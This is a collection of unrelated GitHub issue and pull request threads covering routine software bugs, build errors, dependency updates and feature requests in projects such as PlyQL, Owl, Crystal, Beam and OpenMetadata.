select page , sum( count ) from wikiticker AS f  where '2015-09-12T00:00:00' <= __time  and  __time < '2015-09-13T00:00:00' group by page limit 5
If you believe this query should work please create an issue on PlyQL and include this section
Issue url: https://github.com/implydata/plyql/issues
Message:
SQL parse error: Expected ".", ";", "GROUP", "HAVING", "LIMIT", "ORDER", "WHERE" or end of input but "A" found. on 'select page , sum( count ) from wikiticker AS f  where '2015-09-12T00:00:00' <= __time  and  __time < '2015-09-13T00:00:00' group by page limit 5'
Stack:
Error: SQL parse error: Expected ".", ";", "GROUP", "HAVING", "LIMIT", "ORDER", "WHERE" or end of input but "A" found. on 'select page , sum( count ) from wikiticker AS f  where '2015-09-12T00:00:00' <= __time  and  __time < '2015-09-13T00:00:00' group by page limit 5'

Regards
Rajitha

Wopps, this was fixed a long time ago. forgot to update this issue.


[5.1] Added SET query schema for MySQL table

Gonna hold off on this since it's pretty MySQL specific and can be handled at the app level.


feat: add setting to suppress error notifications

Workaround for #387
This is based on https://github.com/dotnet/vscode-csharp/pull/7106 which was designed to solve a similar problem, as far as I can tell.
This could probably also be made more specific, e.g. with string matchers for error messages or things like that, but I'd probably advocate for language server implementations to fix their errors instead of making a complex configuration in the client.
To test, I configured
    "nix.serverPath": "nixd",
    "nix.hiddenLanguageServerErrors" : [
        "textDocument/definition",
    ],

and it seems to work! I have also seen language server crash and things like that, but those are a separate matter and not fixable with this particular error handler.

Thanks @ian-h-chamberlain !


Issue at reconnect : Cannot find entity with is(i.e. key) xxxx

When a device gets disconnected, the retry fails with Cannot find entity with is(i.e. key)
on connected gives "<IP_ADDRESS> connected"
then I receive an error : " Error: Cannot find entity with is(i.e. key)<PHONE_NUMBER>"
and than the disconnect message again : "<IP_ADDRESS> disconnected"
this repeats every 30 second (reconnect interval time)
-- | -- | -- | --
esphome.0 | 2021-02-26 08:31:10.153 | error | (23131) connection error Error: timeout
esphome.0 | 2021-02-26 08:31:05.156 | warn | (23131) ESPHome client <IP_ADDRESS> disconnected
esphome.0 | 2021-02-26 08:31:05.156 | warn | (23131) ESPHome client <IP_ADDRESS> disconnected
esphome.0 | 2021-02-26 08:31:05.152 | error | (23131) ESPHome client Error: Cannot find entity with is(i.e. key)<PHONE_NUMBER>
esphome.0 | 2021-02-26 08:31:05.152 | info | (23131) ESPHome client <IP_ADDRESS> connected
esphome.0 | 2021-02-26 08:30:39.018 | error | (23131) connection error Error: timeout
esphome.0 | 2021-02-26 08:30:34.021 | warn | (23131) ESPHome client <IP_ADDRESS> disconnected
esphome.0 | 2021-02-26 08:30:34.021 | warn | (23131) ESPHome client <IP_ADDRESS> disconnected
esphome.0 | 2021-02-26 08:30:34.021 | error | (23131) ESPHome client Error: read ECONNRESET
esphome.0 | 2021-02-26 08:30:34.017 | error | (23131) ESPHome client Error: Cannot find entity with is(i.e. key)<PHONE_NUMBER>

on the ESP console I get:
[07:29:03][D][api.connection:604]: Client 'xxx (<IP_ADDRESS>)' connected successfully!
[07:29:03][D][api:067]: Disconnecting xxxz (<IP_ADDRESS>)

Solved the issue for me by disabling the reconnect function from this lib, I now just check every 30seconds if connected = true and if no I do a connect() and that works perfectly.
looks like something is not cleaned up in the lib ?

yes, it was reconnect bug.
Now its fixed


docs: fixed URL in get-started page

Fixes #1459
**
Changes:**
http://localhost:{your-port-num}/empty-example -> http://localhost:{your-port-num}/index.html

Working

Not Working

Hi, we usually require an issue to be opened for discussions before a PR should be filed, so that we can work out any implementation details or to indicate that we are not interested in including any specific features in the library before any work is done. Please open a separate issue about what changes you are proposing.
I'm closing this for now. Thanks.

@limzykenneth Thanks for the insights. Apologize for the PR before approving the issue.


1279 run in loop with extra logging in 114e01a8 8971 4c3a 9cb7 0bb128e2749e

This caused some new failures: https://test-observability.herokuapp.com/failures/e83f44c0-f5cb-4e2e-a5bf-f1e24caa4a15


clash-meta: 1.15.1 -> 1.16.0

Description of changes
Diff: https://github.com/MetaCubeX/Clash.Meta/compare/v1.15.1...v1.16.0

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Looks like the hash is not right.
error: hash mismatch in fixed-output derivation '/nix/store/3aqvcx00zkq4ncqjn7pafzrj8lj6zdan-source.drv':
         specified: sha256-N7uCvzKBqOWYBfY1FBS9TjuHUfoKeMJF6o4k8C3f4z4=
            got:    sha256-ORyjCYf2OPrSt/juiBk0Gf2Az4XoZipKBWWFXf8nIqE=


libgfortran.so not linked and causing compilation error

Thank you very much for the great work with this package.
I'm trying to build this package on a CentOS7 machine with gcc v11. I have an OpenBLAS installation compiled from source and a corresponding shared library object whose directory is linked to in the OWL_FLAGS which I have changed and provided below (with some of the directories replaces with ... for space).
However, I'm receiving the following error:
#=== ERROR while compiling owl.1.1 ============================================#
# context              2.1.3 | linux/x86_64 | ocaml-option-flambda.1 ocaml-option-fp.1 ocaml-option-nnp.1 ocaml-variants.4.14.0+options | file:///.../opam-repository#25bba47d
# path                 .../.opam-switch/build/owl.1.1
# command              .../bin/dune build -p owl -j 79
# exit-code            1
# env-file             .../log/owl-16623-12e153.env
# output-file          .../log/owl-16623-12e153.out
### output ###
# [...]
# -> stdout:
# -> stderr:
#  | .../bin/ld: warning: libgfortran.so.5, needed by .../libopenblas.so, not found (try using -rpath or -rpath-link)
#  | .../libopenblas.so: undefined reference to `_gfortran_etime@GFORTRAN_8'
#  | .../libopenblas.so: undefined reference to `_gfortran_concat_string@GFORTRAN_8'
#  | collect2: error: ld returned 1 exit status
# Fatal error: exception Failure("Unable to link against openblas.")
# Raised at Stdlib.failwith in file "stdlib.ml", line 29, characters 17-33
# Called from Dune__exe__Configure.(fun) in file "src/owl/config/configure.ml", line 223, characters 8-51
# Called from Configurator__V1.main in file "otherlibs/configurator/src/v1.ml", line 734, characters 4-7
# Re-raised at Configurator__V1.main in file "otherlibs/configurator/src/v1.ml", line 742, characters 11-42
# Called from Dune__exe__Configure in file "src/owl/config/configure.ml", line 186, characters 2-1023

Here are the OWL_FLAGS:
OWL_CFLAGS='-g -O3 -Ofast -mfpmath=sse -funroll-loops -ffast-math -DSFMT_MEXP=19937 -msse2 -fno-strict-aliasing -Wno-tautological-constant-out-of-range-compare -pipe -Wl,-z,relro -gdwarf-4 -gstrict-dwarf -march=core-avx2 -mtune=skylake -nostdinc -fdebug-prefix-map=.../supercaml -isystem/.../include -fPIC -L/.../OpenBLAS/0.3.20/.../lib -Wl,-rpath=/.../OpenBLAS/0.3.20/.../lib -L/h.../libgcc/11.x/.../lib -Wl,-rpath=/.../libgcc/11.x/.../lib -L/.../glibc/2.34/.../lib -Wl,-rpath-link,/.../glibc/2.34/.../lib -Wl,--hash-style,gnu -Wl,--dynamic-linker=/usr/local/.../lib/ld-linux-x86-64.so.2'

FWIW, I know that libgfortran.so.5 is linked to in the -L and Wl,-rpath= flags containing ligcc in my OWL_FLAGS. I believe I'm using the same gcc and libgfortran that were used to build OpenBLAS.
Admittedly, I'm not an expert properly linking libraries in gcc; however, it seems that this might be remedied by adding -lgfortran as a library like -lopenblas is passed to gcc.
If there's any chance you happen to see an obvious problem in this setup; I'd really appreciate it. Otherwise, perhaps it'd be worth considering adding another environment variable which would add libraries like -lopenblas is added to the gcc call. (I tried to add the -lgfortran as the final flag in OWL_CFLAGS, but it didn't solve the error; however, I believe that might just be because of the position in the gcc call.)
I'd try to change this myself and see if it worked, but the build system I'm working on is strange and I can't easily do so. I also think there's a reasonable chance that I'm doing something obviously wrong with the above setup.
FYI, we also have a static library for OpenBLAS (using -Bstatic on the relevant -Wl flag in OWL_CFLAGS), and I've tried linking to that instead of the shared library; however, that resulted in conf-openblas, whose opam file I modified to use $OWL_CFLAGS instead of $CFLAGS in the build section) failing with different errors (conf-openblas would still try to use the shared library object, but the failure would be related to another library).

I'm suspecting this issue is related to the location of the flags in the call to gcc/lack of -lgfortran as a lib/the inability to use -l:libopenblas.a instead of -lopenblas. Perhaps we could add an OWL_LDLIBS environment variable which would default to -lopenblas or perhaps -lm -lopenblas?
I can fork this repo and try it out, unless you see something obviously wrong with the previous implementation.

For completeness, here is my PKG_CONFIG_PATH. Note that OpenBLAS is present.
PKG_CONFIG_PATH=/.../pcre/8.43/.../lib/pkgconfig:/.../libev/.../lib/pkgconfig:/.../OpenBLAS/0.3.20/.../lib/pkgconfig:/.../gmp/6.1.2/.../lib/pkgconfig:/.../libjpeg/.../lib/pkgconfig:/.../libpng/1.6.37/.../lib/pkgconfig:/.../re2/20190601/.../lib/pkgconfig:/.../sqlite/3.36/.../lib/pkgconfig:/.../zlib/1.2.8/.../lib/pkgconfig:/.../readline/8.0/.../lib/pkgconfig:/.../ncurses/6.1/.../lib/pkgconfig

If I run pkg-config in the build environment, I get the following.
+ pkg-config --cflags openblas
-I/.../OpenBLAS/0.3.20/.../include
+ pkg-config --libs openblas
-L/.../OpenBLAS/0.3.20/.../lib -lopenblas

So I believe OpenBLAS and pkg-config are interacting appropriately.

FWIW, I removed OpenBLAS from PKG_CONFIG_PATH to see if it was interfering with the other OWL_CFLAGS; it failed with the same error.

Probably worthwhile to put an OWL_LDFLAGS too so we don't have to jam everything into something named LDLIBS. Perhaps just have OWL_ versions for CPP_FLAGS, LDFLAGS, LDLIBS which would be placed in the right location.

Actually, the error might just be coming from this test where OWL_CFLAGS are ignored. Perhaps this should be moved after cflags are set? Presumably we want to run the test with the same parameters that will be used for the build.

I'm thinking this error might be coming up is because the build script has a set -e in it. I believe C.c_test should just report if the compilation succeeded or failed, not fail (right?). Perhaps the set -e is killing the process.

Disregard that; it's failing from this test which kills the build.

This is solved with a patch akin to #636


Doc

adjust docs, update content of code block, add zh

Make sure that if you modify the doc in code, please also modify the corresponding source code file.


Fix typo in sentence, add missing 'to' in 'we need account for'

Changes
In the notebook "Introduction to Quantum Error Correction via the Repetition Code" in the chapter "Storing Qubits" there is a small typo where the "to" is missing the following sentence:
"In all cases, we need account for the fact that errors do not only occur when something happens (like a gate or measurement), they also occur when the qubits are idle."
This PR corrects the sentence to:
"In all cases, we need to account for the fact that errors do not only occur when something happens (like a gate or measurement), they also occur when the qubits are idle."
No issue exists for this error. I thought it would be easier to simply create the PR, but could, of course, still create an issue if needed/desired.
URL to Notebook: https://learn.qiskit.org/course/quantum-hardware/introduction-to-quantum-error-correction-via-the-repetition-code

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


start handler small improve

PR to make start handler smaller and move save user photo function from it, maybe later we should not try to save same photo


[BEAM-8324] Restrict the upper bound for dill due to incompatibility between versions 0.3.0 and <IP_ADDRESS>.

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

Closing in favor of https://github.com/apache/beam/pull/9695


large file write causing errors

while running this code
data = Random::PCG32.new(1_u64).random_bytes(1_000_000_000)
File.write("static/data", data.to_s)

I get the error Negative size
Negative size (ArgumentError)
  from /usr/lib/crystal/pointer.cr:0:7 in 'realloc'
  from /usr/lib/crystal/string/builder.cr:124:5 in 'resize_to_capacity'
  from /usr/lib/crystal/string/builder.cr:45:7 in 'write'
  from /usr/lib/crystal/io.cr:487:7 in 'write_utf8'
  from /usr/lib/crystal/string.cr:4139:5 in 'to_s'
  from /usr/lib/crystal/io.cr:192:5 in '<<'
  from /usr/lib/crystal/slice.cr:669:7 in 'to_s'
  from /usr/lib/crystal/object.cr:96:7 in 'to_s'
  from temp.cr:2:27 in '__crystal_main'
  from /usr/lib/crystal/crystal/main.cr:11:3 in '_crystal_main'
  from /usr/lib/crystal/crystal/main.cr:112:5 in 'main_user_code'
  from /usr/lib/crystal/crystal/main.cr:101:7 in 'main'
  from /usr/lib/crystal/crystal/main.cr:135:3 in 'main'
  from __libc_start_main
  from _start

You overflow Int32::MAX of sizes in Crystal. This is a duplicate of another issue (not validating sizes) but I can't find it.

Yes. Thought 1 billion bytes is smaller than Int32::MAX, so an overflow is weird.

@ysbaddaden there's a data.to_s in there, which is both almost certainly wrong and also will take it far beyond 1GiB of data.

So if this is not at Int::MAX why is it overflowing?

@wontruefree it is at Int::MAX.
your data.to_s is like "Slice[123, 12, 240, 100 ... ]", which is a vastly longer and more useless representation than the raw slice. That's why I said it's "almost certainly wrong" meaning I really don't think you meant to_s.

@RX14 I was able to write write just the slice to the file and it worked fine.  If a char is a byte how is writing a string more space then a slice of bytes?

@wontruefree because the string isn't binary. to_s on slice literally returns a string like "Slice[123, 12, 240, 100]" just the same as calling inspect.

I have been messing with this a little more I will have to read more about it.
Thanks


Minion name not showing on leaderboard

Is there a way to get minion names to show on leaderboard?

Yes, you can

How?

delete player.isMi
https://github.com/Megabyte918/MultiOgar-Edited/blob/acc0fbd76c5e421de7ccfeaa9d2b20242d976684/src/gamemodes/FFA.js#L28

@MiraMiPalo They still don't show on leaderboard

I also had to delete "this.isMinion" on line 203 in PlayerTracker.js

The purpose of this is to substantially decrease lag, as PlayerTracker will not have the need to "Track" the minions on leaderboards, playerlists, etc.


[Issue] Mobs will not spawn with dynamic shading on

🔥 Mobs not spawning
Description of what happened: mobs will not spawn while dynamic shading is on i tried in both of my worlds, one with a farm that produces 600k GP and hour and one that has just a simple mob farm. No mobs spawning
Mods used Methane cloth config entityculling fabric api iris-mc lazydfu lithium logical zoom modmenu notenoughanimations oculus reeses sodium options sodiumextra sodium fabric freecam mod
Methane Version 3.5.0
_e.g. Methane - 1.5: 1.20.4
possible ways to replicate this bug build enderman farm with dynamic shading on and wait for nothing to spawn

Have done research and found a fix!

semi-duplicate of: #80.
This is because of Methane's lighting engine. If you enable the Legacy "Lighting Engine", way less things will query light data, but there still should be a lightmap for mob spawning. Either that, or play your world on a server with a client running Methane.
If nothing spawns after that, that's a bug with Dynamic Shading that i can't really fix without disabling a lot of what makes Methane fast.

This may be a lot to ask but could you make a version of methane that does disable a lot of things that makes Methane fast, i dont use it for the FPS boost, but rather the look of the game. Simulates optifine internal shaders with old lighting off, and looks wonderful, mainly because optifine is not compatible with forge so there is no hope for me using any other mods with optifine for at least a few more weeks or months lol. But i have found methane to replicate it quite well

If you don't want to use Methane as a performance mod, You're probably looking for a mod like Simply No Shading. It has a similar look to Methane.


Flutter web view issuses

Having a serious problem.. Please follow this link to my stack overflow..
https://stackoverflow.com/questions/61533188/not-getting-values-in-web-view-fast-enough

The Github issue tracker is for bugs and features requests for the Flutter SDK. Help and support questions like these are better suited for Q&A sites like StackOverflow or on one of the flutter community sites at https://flutter.dev/community .


Support deleting sample data

The use case is this: We created a POC installation of OpenMetadata and created ingestions for two systems - the profiler ingestion included sample data. The customer, however, (reasonably enough) doesn't want sample data because the systems contain sensitive personal information.
So I disabled the import of sample data in the profiler ingestion, however the original sample data still remain and there's no easy way to delete it.
I'd like to have a simple way to delete all sample data from the system. Maybe a menu option, or when disabling import of sample data in the profiler the system could prompt the user to ask if existing sample data should be deleted.
At the time of writing, I'm unaware of any workarounds. We've spent time tagging the tables and mapping lineage, so I'd rather not start over from scratch.

API is added for the deletion of sample data.
@chirag-madlani lets add an option to delete the sample data in the UI. Only allow users either owners of the table or with EditAll or EditSampleData operaiton